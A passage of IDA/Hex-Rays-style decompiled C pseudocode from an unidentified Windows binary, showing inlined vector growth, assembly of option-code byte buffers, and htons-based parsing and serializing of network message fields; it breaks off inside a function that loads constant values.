      v91 = v89 + 1;
      v90 = v2 - v3;
      if ( v91 > v2 - v3 )
      {
        if ( -1 - (v90 >> 1) >= v90 )
          v92 = (v90 >> 1) + v90;
        else
          v92 = 0;
        if ( v92 < v91 )
          v92 = v91;
        sub_405D20((int)&v227, v92);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = 0;
      goto LABEL_237;
    }
  }
  else
  {
    v84 = &v231[-v3];
    if ( v1 == v2 )
    {
      v85 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
      v87 = v85 + 1;
      v86 = v2 - v3;
      if ( v87 > v2 - v3 )
      {
        if ( -1 - (v86 >> 1) >= v86 )
          v88 = (v86 >> 1) + v86;
        else
          v88 = 0;
        if ( v88 < v87 )
          v88 = v87;
        sub_405D20((int)&v227, v88);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = v84[v3];
LABEL_237:
      v2 = v229;
      v3 = v227;
      v1 = v228;
      goto LABEL_238;
    }
  }
LABEL_238:
  v93 = v1 + 1;
  v228 = v93;
  v231[0] = 2;
  if ( (unsigned int)v231 >= v93 || v3 > (unsigned int)v231 )
  {
    if ( v93 == v2 )
    {
      v99 = v93 - v3;
      if ( v93 - v3 > 0xFFFFFFFE )
        v93 = std___Xlength_error("vector<T> too long");
      v101 = v99 + 1;
      v100 = v2 - v3;
      if ( v101 > v2 - v3 )
      {
        if ( -1 - (v100 >> 1) >= v100 )
          v102 = (v100 >> 1) + v100;
        else
          v102 = 0;
        if ( v102 < v101 )
          v102 = v101;
        sub_405D20((int)&v227, v102);
        v2 = v229;
        v93 = v228;
        v3 = v227;
      }
    }
    if ( v93 )
    {
      *(_BYTE *)v93 = 2;
      goto LABEL_264;
    }
  }
  else
  {
    v94 = &v231[-v3];
    if ( v93 == v2 )
    {
      v95 = v93 - v3;
      if ( v93 - v3 > 0xFFFFFFFE )
        v93 = std___Xlength_error("vector<T> too long");
      v97 = v95 + 1;
      v96 = v2 - v3;
      if ( v97 > v2 - v3 )
      {
        if ( -1 - (v96 >> 1) >= v96 )
          v98 = (v96 >> 1) + v96;
        else
          v98 = 0;
        if ( v98 < v97 )
          v98 = v97;
        sub_405D20((int)&v227, v98);
        v2 = v229;
        v93 = v228;
        v3 = v227;
      }
    }
    if ( v93 )
    {
      *(_BYTE *)v93 = v94[v3];
LABEL_264:
      v2 = v229;
      v3 = v227;
      v93 = v228;
      goto LABEL_265;
    }
  }
LABEL_265:
  v103 = v93 + 1;
  v228 = v103;
  v231[0] = 0;
  if ( (unsigned int)v231 >= v103 || v3 > (unsigned int)v231 )
  {
    if ( v103 == v2 )
    {
      v109 = v103 - v3;
      if ( v103 - v3 > 0xFFFFFFFE )
        v103 = std___Xlength_error("vector<T> too long");
      v111 = v109 + 1;
      v110 = v2 - v3;
      if ( v111 > v2 - v3 )
      {
        if ( -1 - (v110 >> 1) >= v110 )
          v112 = (v110 >> 1) + v110;
        else
          v112 = 0;
        if ( v112 < v111 )
          v112 = v111;
        sub_405D20((int)&v227, v112);
        v2 = v229;
        v103 = v228;
        v3 = v227;
      }
    }
    if ( v103 )
    {
      *(_BYTE *)v103 = 0;
      goto LABEL_291;
    }
  }
  else
  {
    v104 = &v231[-v3];
    if ( v103 == v2 )
    {
      v105 = v103 - v3;
      if ( v103 - v3 > 0xFFFFFFFE )
        v103 = std___Xlength_error("vector<T> too long");
      v107 = v105 + 1;
      v106 = v2 - v3;
      if ( v107 > v2 - v3 )
      {
        if ( -1 - (v106 >> 1) >= v106 )
          v108 = (v106 >> 1) + v106;
        else
          v108 = 0;
        if ( v108 < v107 )
          v108 = v107;
        sub_405D20((int)&v227, v108);
        v2 = v229;
        v103 = v228;
        v3 = v227;
      }
    }
    if ( v103 )
    {
      *(_BYTE *)v103 = v104[v3];
LABEL_291:
      v2 = v229;
      v3 = v227;
      v103 = v228;
      goto LABEL_292;
    }
  }
LABEL_292:
  v113 = v103 + 1;
  v228 = v113;
  v231[0] = 1;
  if ( (unsigned int)v231 >= v113 || v3 > (unsigned int)v231 )
  {
    if ( v113 == v2 )
    {
      v119 = v113 - v3;
      if ( v113 - v3 > 0xFFFFFFFE )
        v113 = std___Xlength_error("vector<T> too long");
      v121 = v119 + 1;
      v120 = v2 - v3;
      if ( v121 > v2 - v3 )
      {
        if ( -1 - (v120 >> 1) >= v120 )
          v122 = (v120 >> 1) + v120;
        else
          v122 = 0;
        if ( v122 < v121 )
          v122 = v121;
        sub_405D20((int)&v227, v122);
        v2 = v229;
        v113 = v228;
        v3 = v227;
      }
    }
    if ( v113 )
    {
      *(_BYTE *)v113 = 1;
      goto LABEL_318;
    }
  }
  else
  {
    v114 = &v231[-v3];
    if ( v113 == v2 )
    {
      v115 = v113 - v3;
      if ( v113 - v3 > 0xFFFFFFFE )
        v113 = std___Xlength_error("vector<T> too long");
      v117 = v115 + 1;
      v116 = v2 - v3;
      if ( v117 > v2 - v3 )
      {
        if ( -1 - (v116 >> 1) >= v116 )
          v118 = (v116 >> 1) + v116;
        else
          v118 = 0;
        if ( v118 < v117 )
          v118 = v117;
        sub_405D20((int)&v227, v118);
        v2 = v229;
        v113 = v228;
        v3 = v227;
      }
    }
    if ( v113 )
    {
      *(_BYTE *)v113 = v114[v3];
LABEL_318:
      v2 = v229;
      v3 = v227;
      v113 = v228;
      goto LABEL_319;
    }
  }
LABEL_319:
  v1 = v113 + 1;
  v228 = v1;
LABEL_320:
  v4 = a1;
LABEL_321:
  v123 = 0;
  v124 = (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2;
  if ( !v124 )
    goto LABEL_436;
  v125 = *(_DWORD *)(v4 + 468);
  while ( *(_WORD *)v125 != 3 )
  {
    ++v123;
    v125 += 4;
    if ( v123 >= v124 )
      goto LABEL_435;
  }
  v231[0] = 0;
  if ( (unsigned int)v231 >= v1 || v3 > (unsigned int)v231 )
  {
    if ( v1 == v2 )
    {
      v131 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
      v133 = v131 + 1;
      v132 = v2 - v3;
      if ( v133 > v2 - v3 )
      {
        if ( -1 - (v132 >> 1) >= v132 )
          v134 = (v132 >> 1) + v132;
        else
          v134 = 0;
        if ( v134 < v133 )
          v134 = v133;
        sub_405D20((int)&v227, v134);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = 0;
      goto LABEL_352;
    }
  }
  else
  {
    v126 = &v231[-v3];
    if ( v1 == v2 )
    {
      v127 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
      v129 = v127 + 1;
      v128 = v2 - v3;
      if ( v129 > v2 - v3 )
      {
        if ( -1 - (v128 >> 1) >= v128 )
          v130 = (v128 >> 1) + v128;
        else
          v130 = 0;
        if ( v130 < v129 )
          v130 = v129;
        sub_405D20((int)&v227, v130);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = v126[v3];
LABEL_352:
      v2 = v229;
      v3 = v227;
      v1 = v228;
      goto LABEL_353;
    }
  }
LABEL_353:
  v135 = v1 + 1;
  v228 = v135;
  v231[0] = 3;
  if ( (unsigned int)v231 >= v135 || v3 > (unsigned int)v231 )
  {
    if ( v135 == v2 )
    {
      v141 = v135 - v3;
      if ( v135 - v3 > 0xFFFFFFFE )
        v135 = std___Xlength_error("vector<T> too long");
      v143 = v141 + 1;
      v142 = v2 - v3;
      if ( v143 > v2 - v3 )
      {
        if ( -1 - (v142 >> 1) >= v142 )
          v144 = (v142 >> 1) + v142;
        else
          v144 = 0;
        if ( v144 < v143 )
          v144 = v143;
        sub_405D20((int)&v227, v144);
        v2 = v229;
        v135 = v228;
        v3 = v227;
      }
    }
    if ( v135 )
    {
      *(_BYTE *)v135 = 3;
      goto LABEL_379;
    }
  }
  else
  {
    v136 = &v231[-v3];
    if ( v135 == v2 )
    {
      v137 = v135 - v3;
      if ( v135 - v3 > 0xFFFFFFFE )
        v135 = std___Xlength_error("vector<T> too long");
      v139 = v137 + 1;
      v138 = v2 - v3;
      if ( v139 > v2 - v3 )
      {
        if ( -1 - (v138 >> 1) >= v138 )
          v140 = (v138 >> 1) + v138;
        else
          v140 = 0;
        if ( v140 < v139 )
          v140 = v139;
        sub_405D20((int)&v227, v140);
        v2 = v229;
        v135 = v228;
        v3 = v227;
      }
    }
    if ( v135 )
    {
      *(_BYTE *)v135 = v136[v3];
LABEL_379:
      v2 = v229;
      v3 = v227;
      v135 = v228;
      goto LABEL_380;
    }
  }
LABEL_380:
  v145 = v135 + 1;
  v228 = v145;
  v231[0] = 0;
  if ( (unsigned int)v231 >= v145 || v3 > (unsigned int)v231 )
  {
    if ( v145 == v2 )
    {
      v151 = v145 - v3;
      if ( v145 - v3 > 0xFFFFFFFE )
        v145 = std___Xlength_error("vector<T> too long");
      v153 = v151 + 1;
      v152 = v2 - v3;
      if ( v153 > v2 - v3 )
      {
        if ( -1 - (v152 >> 1) >= v152 )
          v154 = (v152 >> 1) + v152;
        else
          v154 = 0;
        if ( v154 < v153 )
          v154 = v153;
        sub_405D20((int)&v227, v154);
        v2 = v229;
        v145 = v228;
        v3 = v227;
      }
    }
    if ( v145 )
    {
      *(_BYTE *)v145 = 0;
      goto LABEL_406;
    }
  }
  else
  {
    v146 = &v231[-v3];
    if ( v145 == v2 )
    {
      v147 = v145 - v3;
      if ( v145 - v3 > 0xFFFFFFFE )
        v145 = std___Xlength_error("vector<T> too long");
      v149 = v147 + 1;
      v148 = v2 - v3;
      if ( v149 > v2 - v3 )
      {
        if ( -1 - (v148 >> 1) >= v148 )
          v150 = (v148 >> 1) + v148;
        else
          v150 = 0;
        if ( v150 < v149 )
          v150 = v149;
        sub_405D20((int)&v227, v150);
        v2 = v229;
        v145 = v228;
        v3 = v227;
      }
    }
    if ( v145 )
    {
      *(_BYTE *)v145 = v146[v3];
LABEL_406:
      v2 = v229;
      v3 = v227;
      v145 = v228;
      goto LABEL_407;
    }
  }
LABEL_407:
  v155 = v145 + 1;
  v228 = v155;
  v231[0] = 1;
  if ( (unsigned int)v231 >= v155 || v3 > (unsigned int)v231 )
  {
    if ( v155 == v2 )
    {
      v161 = v155 - v3;
      if ( v155 - v3 > 0xFFFFFFFE )
        v155 = loc_405D90();
      v163 = v161 + 1;
      v162 = v2 - v3;
      if ( v163 > v2 - v3 )
      {
        if ( -1 - (v162 >> 1) >= v162 )
          v164 = (v162 >> 1) + v162;
        else
          v164 = 0;
        if ( v164 < v163 )
          v164 = v163;
        sub_405D20((int)&v227, v164);
        v2 = v229;
        v155 = v228;
        v3 = v227;
      }
    }
    if ( v155 )
    {
      *(_BYTE *)v155 = 1;
      goto LABEL_433;
    }
  }
  else
  {
    v156 = &v231[-v3];
    if ( v155 == v2 )
    {
      v157 = v155 - v3;
      if ( v155 - v3 > 0xFFFFFFFE )
        v155 = loc_405D90();
      v159 = v157 + 1;
      v158 = v2 - v3;
      if ( v159 > v2 - v3 )
      {
        if ( -1 - (v158 >> 1) >= v158 )
          v160 = (v158 >> 1) + v158;
        else
          v160 = 0;
        if ( v160 < v159 )
          v160 = v159;
        sub_405D20((int)&v227, v160);
        v2 = v229;
        v155 = v228;
        v3 = v227;
      }
    }
    if ( v155 )
    {
      *(_BYTE *)v155 = v156[v3];
LABEL_433:
      v2 = v229;
      v3 = v227;
      v155 = v228;
      goto LABEL_434;
    }
  }
LABEL_434:
  v1 = v155 + 1;
  v228 = v1;
LABEL_435:
  v4 = a1;
LABEL_436:
  v165 = 0;
  v166 = (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2;
  if ( !v166 )
    goto LABEL_551;
  v167 = *(_DWORD *)(v4 + 468);
  while ( *(_WORD *)v167 != 21 )
  {
    ++v165;
    v167 += 4;
    if ( v165 >= v166 )
      goto LABEL_550;
  }
  v231[0] = 0;
  if ( (unsigned int)v231 >= v1 || v3 > (unsigned int)v231 )
  {
    if ( v1 == v2 )
    {
      v173 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = loc_405D90();
      v175 = v173 + 1;
      v174 = v2 - v3;
      if ( v175 > v2 - v3 )
      {
        if ( -1 - (v174 >> 1) >= v174 )
          v176 = (v174 >> 1) + v174;
        else
          v176 = 0;
        if ( v176 < v175 )
          v176 = v175;
        sub_405D20((int)&v227, v176);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = 0;
      goto LABEL_467;
    }
  }
  else
  {
    v168 = &v231[-v3];
    if ( v1 == v2 )
    {
      v169 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = loc_405D90();
      v171 = v169 + 1;
      v170 = v2 - v3;
      if ( v171 > v2 - v3 )
      {
        if ( -1 - (v170 >> 1) >= v170 )
          v172 = (v170 >> 1) + v170;
        else
          v172 = 0;
        if ( v172 < v171 )
          v172 = v171;
        sub_405D20((int)&v227, v172);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = v168[v3];
LABEL_467:
      v2 = v229;
      v3 = v227;
      v1 = v228;
      goto LABEL_468;
    }
  }
LABEL_468:
  v177 = v1 + 1;
  v228 = v177;
  v231[0] = 21;
  if ( (unsigned int)v231 >= v177 || v3 > (unsigned int)v231 )
  {
    if ( v177 == v2 )
    {
      v183 = v177 - v3;
      if ( v177 - v3 > 0xFFFFFFFE )
        v177 = loc_405D90();
      v185 = v183 + 1;
      v184 = v2 - v3;
      if ( v185 > v2 - v3 )
      {
        if ( -1 - (v184 >> 1) >= v184 )
          v186 = (v184 >> 1) + v184;
        else
          v186 = 0;
        if ( v186 < v185 )
          v186 = v185;
        sub_405D20((int)&v227, v186);
        v2 = v229;
        v177 = v228;
        v3 = v227;
      }
    }
    if ( v177 )
    {
      *(_BYTE *)v177 = 21;
      goto LABEL_494;
    }
  }
  else
  {
    v178 = &v231[-v3];
    if ( v177 == v2 )
    {
      v179 = v177 - v3;
      if ( v177 - v3 > 0xFFFFFFFE )
        v177 = loc_405D90();
      v181 = v179 + 1;
      v180 = v2 - v3;
      if ( v181 > v2 - v3 )
      {
        if ( -1 - (v180 >> 1) >= v180 )
          v182 = (v180 >> 1) + v180;
        else
          v182 = 0;
        if ( v182 < v181 )
          v182 = v181;
        sub_405D20((int)&v227, v182);
        v2 = v229;
        v177 = v228;
        v3 = v227;
      }
    }
    if ( v177 )
    {
      *(_BYTE *)v177 = v178[v3];
LABEL_494:
      v2 = v229;
      v3 = v227;
      v177 = v228;
      goto LABEL_495;
    }
  }
LABEL_495:
  v187 = v177 + 1;
  v228 = v187;
  v231[0] = 0;
  if ( (unsigned int)v231 >= v187 || v3 > (unsigned int)v231 )
  {
    if ( v187 == v2 )
    {
      v193 = v187 - v3;
      if ( v187 - v3 > 0xFFFFFFFE )
        v187 = loc_405D90();
      v195 = v193 + 1;
      v194 = v2 - v3;
      if ( v195 > v2 - v3 )
      {
        if ( -1 - (v194 >> 1) >= v194 )
          v196 = (v194 >> 1) + v194;
        else
          v196 = 0;
        if ( v196 < v195 )
          v196 = v195;
        sub_405D20((int)&v227, v196);
        v2 = v229;
        v187 = v228;
        v3 = v227;
      }
    }
    if ( v187 )
    {
      *(_BYTE *)v187 = 0;
      goto LABEL_521;
    }
  }
  else
  {
    v188 = &v231[-v3];
    if ( v187 == v2 )
    {
      v189 = v187 - v3;
      if ( v187 - v3 > 0xFFFFFFFE )
        v187 = loc_405D90();
      v191 = v189 + 1;
      v190 = v2 - v3;
      if ( v191 > v2 - v3 )
      {
        if ( -1 - (v190 >> 1) >= v190 )
          v192 = (v190 >> 1) + v190;
        else
          v192 = 0;
        if ( v192 < v191 )
          v192 = v191;
        sub_405D20((int)&v227, v192);
        v2 = v229;
        v187 = v228;
        v3 = v227;
      }
    }
    if ( v187 )
    {
      *(_BYTE *)v187 = v188[v3];
LABEL_521:
      v2 = v229;
      v3 = v227;
      v187 = v228;
      goto LABEL_522;
    }
  }
LABEL_522:
  v197 = v187 + 1;
  v228 = v197;
  v231[0] = 1;
  if ( (unsigned int)v231 >= v197 || v3 > (unsigned int)v231 )
  {
    if ( v197 == v2 )
    {
      v203 = v197 - v3;
      if ( v197 - v3 > 0xFFFFFFFE )
        v197 = loc_405D90();
      v205 = v203 + 1;
      v204 = v2 - v3;
      if ( v205 > v2 - v3 )
      {
        if ( -1 - (v204 >> 1) >= v204 )
          v206 = (v204 >> 1) + v204;
        else
          v206 = 0;
        if ( v206 < v205 )
          v206 = v205;
        sub_405D20((int)&v227, v206);
        v2 = v229;
        v197 = v228;
        v3 = v227;
      }
    }
    if ( v197 )
    {
      *(_BYTE *)v197 = 1;
      goto LABEL_548;
    }
  }
  else
  {
    v198 = &v231[-v3];
    if ( v197 == v2 )
    {
      v199 = v197 - v3;
      if ( v197 - v3 > 0xFFFFFFFE )
        v197 = loc_405D90();
      v201 = v199 + 1;
      v200 = v2 - v3;
      if ( v201 > v2 - v3 )
      {
        if ( -1 - (v200 >> 1) >= v200 )
          v202 = (v200 >> 1) + v200;
        else
          v202 = 0;
        if ( v202 < v201 )
          v202 = v201;
        sub_405D20((int)&v227, v202);
        v2 = v229;
        v197 = v228;
        v3 = v227;
      }
    }
    if ( v197 )
    {
      *(_BYTE *)v197 = v198[v3];
LABEL_548:
      v2 = v229;
      v3 = v227;
      v197 = v228;
      goto LABEL_549;
    }
  }
LABEL_549:
  v1 = v197 + 1;
  v228 = v1;
LABEL_550:
  v4 = a1;
LABEL_551:
  v207 = 0;
  v208 = (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2;
  if ( !v208 )
    goto LABEL_585;
  v209 = *(_DWORD *)(v4 + 468);
  while ( *(_WORD *)v209 != 4 )
  {
    ++v207;
    v209 += 4;
    if ( v207 >= v208 )
      goto LABEL_584;
  }
  v231[0] = 0;
  if ( (unsigned int)v231 >= v1 || v3 > (unsigned int)v231 )
  {
    if ( v1 == v2 )
    {
      v215 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = loc_405D90();
      v217 = v215 + 1;
      v216 = v2 - v3;
      if ( v217 > v216 )
      {
        if ( -1 - (v216 >> 1) >= v216 )
          v218 = (v216 >> 1) + v216;
        else
          v218 = 0;
        if ( v218 < v217 )
          v218 = v217;
        sub_405D20((int)&v227, v218);
        v1 = v228;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = 0;
      goto LABEL_582;
    }
  }
  else
  {
    v210 = &v231[-v3];
    if ( v1 == v2 )
    {
      v211 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = loc_405D90();
      v213 = v211 + 1;
      v212 = v2 - v3;
      if ( v213 > v212 )
      {
        if ( -1 - (v212 >> 1) >= v212 )
          v214 = (v212 >> 1) + v212;
        else
          v214 = 0;
        if ( v214 < v213 )
          v214 = v213;
        sub_405D20((int)&v227, v214);
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = v210[v3];
LABEL_582:
      v1 = v228;
      goto LABEL_583;
    }
  }
LABEL_583:
  v228 = v1 + 1;
  v231[0] = 4;
  sub_4179C0((unsigned int)v231, (int)&v227);
  v231[0] = 0;
  sub_4179C0((unsigned int)v231, (int)&v227);
  v231[0] = 1;
  sub_4179C0((unsigned int)v231, (int)&v227);
LABEL_584:
  v4 = a1;
LABEL_585:
  v220 = 0;
  v219 = (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2;
  if ( v219 )
  {
    v221 = *(_DWORD *)(v4 + 468);
    while ( *(_WORD *)v221 != 9 )
    {
      ++v220;
      v221 += 4;
      if ( v220 >= v219 )
        goto LABEL_591;
    }
    BYTE3(a1) = 0;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
    BYTE3(a1) = 9;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
    BYTE3(a1) = 0;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
    BYTE3(a1) = 1;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
  }
LABEL_591:
  v223 = 0;
  v222 = (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2;
  if ( v222 )
  {
    v224 = *(_DWORD *)(v4 + 468);
    while ( *(_WORD *)v224 != 16 )
    {
      ++v223;
      v224 += 4;
      if ( v223 >= v222 )
        goto LABEL_597;
    }
    BYTE3(a1) = 0;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
    BYTE3(a1) = 16;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
    BYTE3(a1) = 0;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
    BYTE3(a1) = 1;
    sub_4179C0((unsigned int)((char *)&a1 + 3), (int)&v227);
  }
LABEL_597:
  v225 = sub_413200(23, 0, v4, 1, (int)&v227) == 1;
  v230 = -1;
  if ( v227 )
  {
    std___Container_base12____Container_base12(&v227);
    operator delete(v227);
  }
  return v225;
}

//----- (0040EE70) --------------------------------------------------------
char __fastcall sub_40EE70(int a1, int a2, int a3)
{
  int v2; // ebx@4
  u_short *v3; // edi@4
  int v4; // esi@7
  const void *v5; // eax@8
  void *v6; // edx@8
  int v7; // edi@8
  char v8; // zf@10
  unsigned int v9; // eax@14
  unsigned int v10; // ecx@15
  signed int v11; // ebx@16
  int v12; // eax@18
  int v13; // eax@23
  u_short v15; // ax@13
  u_short v16; // ST08_2@13
  u_short *v17; // [sp+20h] [bp-24h]@1
  int v18; // [sp+24h] [bp-20h]@1
  int v19; // [sp+28h] [bp-1Ch]@1
  int v20; // [sp+40h] [bp-4h]@1
  int v21; // [sp+1Ch] [bp-28h]@1
  signed int v22; // [sp+14h] [bp-30h]@1
  int v23; // [sp+30h] [bp-14h]@4
  int v24; // [sp+34h] [bp-10h]@8

  v17 = 0;
  v18 = 0;
  v19 = 0;
  v20 = 0;
  v21 = a2;
  v22 = 458753;
  if ( sub_412EA0(a3, (int)&v22) != 1 )
  {
    if ( v17 )
      operator delete(v17);
    return 0;
  }
  v3 = v17;
  v2 = v18 - (_DWORD)v17;
  v23 = v18 - (_DWORD)v17;
  if ( (unsigned int)(v18 - (_DWORD)v17) < 2 )
  {
    if ( !v17 )
      return 0;
LABEL_6:
    operator delete(v3);
    return 0;
  }
  v4 = 35 * htons_0(*v17) + 2;
  if ( v2 < (unsigned int)v4 )
    goto LABEL_6;
  v7 = a3;
  v6 = *(void **)(a3 + 484);
  v5 = *(const void **)(a3 + 488);
  v24 = *(_DWORD *)(a3 + 484);
  if ( v6 != v5 )
  {
    a3 = 0;
    memmove(v6, v5, 0);
    *(_DWORD *)(v7 + 488) = v24 + a3;
  }
  v8 = v2 == v4;
  while ( !v8 )
  {
    if ( v2 >= (unsigned int)(v4 + 4) )
    {
      v15 = htons_0(*(u_short *)((char *)v17 + v4));
      v16 = *(u_short *)((char *)v17 + v4 + 2);
      a3 = v15;
      v4 += 4 * htons_0(v16) + 4;
      if ( v2 >= (unsigned int)v4 )
      {
        v9 = *(_DWORD *)(v7 + 488);
        if ( (unsigned int)&a3 >= v9 || (v10 = *(_DWORD *)(v7 + 484), v10 > (unsigned int)&a3) )
        {
          if ( v9 == *(_DWORD *)(v7 + 492) )
            sub_4187C0(v7 + 484);
          v13 = *(_DWORD *)(v7 + 488);
          if ( v13 )
            *(_WORD *)v13 = a3;
        }
        else
        {
          v11 = (signed int)((char *)&a3 - v10) >> 1;
          if ( v9 == *(_DWORD *)(v7 + 492) )
            sub_4187C0(v7 + 484);
          v12 = *(_DWORD *)(v7 + 488);
          if ( v12 )
            *(_WORD *)v12 = *(_WORD *)(*(_DWORD *)(v7 + 484) + 2 * v11);
          v2 = v23;
        }
        *(_DWORD *)(v7 + 488) += 2;
        v8 = v2 == v4;
        if ( v2 >= (unsigned int)v4 )
          continue;
      }
    }
    sub_41B030((int)&v22);
    return 0;
  }
  sub_41B030((int)&v22);
  return 1;
}

//----- (0040F060) --------------------------------------------------------
char __fastcall sub_40F060(int a1)
{
  int v1; // eax@1
  int v2; // ebx@1
  int v3; // edi@1
  int v4; // esi@1
  unsigned int v5; // esi@5
  char v6; // bl@7
  int v8; // [sp+14h] [bp-1Ch]@1
  void *Dst; // [sp+18h] [bp-18h]@1
  int v10; // [sp+1Ch] [bp-14h]@1
  int v11; // [sp+2Ch] [bp-4h]@5

  v2 = a1;
  v3 = 0;
  v4 = 2 * ((*(_DWORD *)(a1 + 488) - *(_DWORD *)(a1 + 484)) >> 1);
  v1 = 0;
  v8 = 0;
  Dst = 0;
  v10 = 0;
  if ( v4 )
  {
    sub_405AD0((int)&v8, v4);
    v3 = v8;
    if ( v4 + v8 - (_DWORD)Dst )
      memset(Dst, 0, v4 + v8 - (_DWORD)Dst);
    Dst = (void *)(v3 + v4);
    v1 = 0;
  }
  v11 = v1;
  v5 = 0;
  if ( (*(_DWORD *)(v2 + 488) - *(_DWORD *)(v2 + 484)) >> 1 )
  {
    do
    {
      *(_WORD *)v3 = htons(*(_WORD *)(*(_DWORD *)(v2 + 484) + 2 * v5++));
      v3 += 2;
    }
    while ( v5 < (*(_DWORD *)(v2 + 488) - *(_DWORD *)(v2 + 484)) >> 1 );
  }
  v6 = sub_413200(8, 0, v2, 1, (int)&v8) == 1;
  if ( v8 )
    operator delete(v8);
  return v6;
}

//----- (0040F160) --------------------------------------------------------
char __fastcall sub_40F160(int a1, int a2, int a3)
{
  char result; // al@4
  int v3; // [sp+18h] [bp-1Ch]@1
  int v4; // [sp+1Ch] [bp-18h]@1
  int v5; // [sp+20h] [bp-14h]@1
  int v6; // [sp+30h] [bp-4h]@1
  int v7; // [sp+14h] [bp-20h]@1
  signed int v8; // [sp+Ch] [bp-28h]@1

  v3 = 0;
  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = a2;
  v8 = 983041;
  if ( sub_412EA0(a3, (int)&v8) == 1 )
  {
    if ( v3 )
      operator delete(v3);
    result = 1;
  }
  else
  {
    if ( v3 )
      operator delete(v3);
    result = 0;
  }
  return result;
}

//----- (0040F200) --------------------------------------------------------
char __fastcall sub_40F200(int a1, int a2, int a3)
{
  char v2; // bl@1
  int v4; // [sp+18h] [bp-1Ch]@1
  int v5; // [sp+1Ch] [bp-18h]@1
  int v6; // [sp+20h] [bp-14h]@1
  int v7; // [sp+30h] [bp-4h]@1
  int v8; // [sp+14h] [bp-20h]@1
  signed int v9; // [sp+Ch] [bp-28h]@1

  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = a2;
  v9 = 196610;
  v2 = sub_412EA0(a3, (int)&v9) == 1;
  if ( v4 )
    operator delete(v4);
  return v2;
}

//----- (0040F280) --------------------------------------------------------
char __usercall sub_40F280<al>(int a1<edi>)
{
  unsigned int v1; // eax@1
  void *v2; // ecx@4
  void *v3; // esi@4
  unsigned int v4; // eax@6
  int v5; // ebx@6
  char v6; // bl@8
  u_short v8; // ax@8
  size_t v9; // edx@8
  int  s; // [sp+B4h] [bp+0h]@1
  unsigned int v11; // [sp+A4h] [bp-10h]@1
  signed int v12; // [sp+34h] [bp-80h]@1
  signed int v13; // [sp+38h] [bp-7Ch]@1
  signed int v14; // [sp+3Ch] [bp-78h]@1
  signed int v15; // [sp+40h] [bp-74h]@1
  signed int v16; // [sp+44h] [bp-70h]@1
  signed int v17; // [sp+48h] [bp-6Ch]@1
  signed int v18; // [sp+4Ch] [bp-68h]@1
  signed int v19; // [sp+50h] [bp-64h]@1
  signed int v20; // [sp+54h] [bp-60h]@1
  signed int v21; // [sp+58h] [bp-5Ch]@1
  signed int v22; // [sp+5Ch] [bp-58h]@1
  signed int v23; // [sp+60h] [bp-54h]@1
  signed int v24; // [sp+64h] [bp-50h]@1
  signed int v25; // [sp+68h] [bp-4Ch]@1
  signed int v26; // [sp+6Ch] [bp-48h]@1
  signed int v27; // [sp+70h] [bp-44h]@1
  signed int v28; // [sp+74h] [bp-40h]@1
  signed int v29; // [sp+78h] [bp-3Ch]@1
  signed int v30; // [sp+7Ch] [bp-38h]@1
  signed int v31; // [sp+80h] [bp-34h]@1
  signed int v32; // [sp+84h] [bp-30h]@1
  signed int v33; // [sp+88h] [bp-2Ch]@1
  signed int v34; // [sp+8Ch] [bp-28h]@1
  signed int v35; // [sp+90h] [bp-24h]@1
  signed int v36; // [sp+94h] [bp-20h]@1
  signed int v37; // [sp+98h] [bp-1Ch]@1
  signed int v38; // [sp+9Ch] [bp-18h]@1
  int v39; // [sp+A0h] [bp-14h]@1
  void *Dst; // [sp+20h] [bp-94h]@1
  void *Src; // [sp+24h] [bp-90h]@1
  int v42; // [sp+28h] [bp-8Ch]@1
  size_t Size; // [sp+30h] [bp-84h]@1
  int v44; // [sp+B0h] [bp-4h]@1
  const void *v45; // [sp+10h] [bp-A4h]@4
  int v46; // [sp+14h] [bp-A0h]@4
  int v47; // [sp+18h] [bp-9Ch]@4
  __int16 v48; // [sp+Ch] [bp-A8h]@4
  int v49; // [sp+8h] [bp-ACh]@8

  v11 = (unsigned int)& s ^ dword_426018;
  v12 = 164118358;
  v13 = -1119785205;
  v14 = 641890719;
  v15 = -207429879;
  v16 = 1225999881;
  v17 = -787382452;
  v18 = 1162093186;
  v19 = 21587;
  v20 = 1309885961;
  v21 = -787382452;
  v22 = 1162093186;
  v23 = 21587;
